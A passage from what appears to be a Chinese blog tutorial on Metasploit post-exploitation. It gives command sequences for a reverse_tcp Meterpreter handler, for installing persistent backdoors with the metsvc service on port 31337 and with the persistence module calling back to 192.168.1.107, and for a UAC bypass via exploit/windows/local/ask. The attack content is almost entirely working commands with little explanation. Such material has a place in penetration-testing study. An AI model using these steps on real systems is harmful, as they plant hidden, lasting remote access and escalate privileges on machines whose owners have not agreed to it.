PAYLOAD => window /meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 0.0.0.0
msf exploit(handler)>set  LPORT  444
msf exploit(handler)>show options
msf exploit(handler)>run

0x08 持续性后门

1.metsvc后渗透攻击模块

  1. metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机,它会上传三个文件:
    metsvc.dll
    metsvc-service.exe
    metsvc.exe
run  metsvc

在这里插入图片描述

  1. 执行过程:在目标主机上创建一个监听31337端口的服务->在目标主机c:\windows\temp\下创建一个存放后门服务有关文件程序的目录,并上传metsrv.x86.dll、metsvc-server.exe、metsvc.exe三个文件到该目录下->开启服务
  2. 在目标主机上看到31337号端口已开,且服务多了一个meterpreter(如下图)
    在这里插入图片描述
    在这里插入图片描述
  3. 然后连接后门
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set RHOST 192.168.1.104
set LPORT 31337
run

2.persistence模块后门

run persistence -X -i 5 -p 23333 -r 192.168.1.107

在这里插入图片描述
然后退出重新配置监听器:

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.107
set LPORT 2241
exploit

在这里插入图片描述


0x09 meterpreter绕过uac

用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。

由于绕过 UAC 的功能需在 meterpreter 的shell 才能实现。因此,我们首先要做的就是取得目标机器的 meterpreter shell

use exploit/windows/local/ask
show options
set session 1
exploit

当我们成功执行以上命令后,我们会在目标系统上弹出一个确认框只要点击确认即可成功绕过(由于目标系统没有开启uac,这里只是使用命令作为演示)
在这里插入图片描述


参考链接:
https://www.cnblogs.com/backlion/p/9484949.html(Meterpreter命令详解)
https://www.xitongtiandi.net/wenzhang/win10/16066.html(windows命令大全)

  • 4
    点赞
  • 59
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值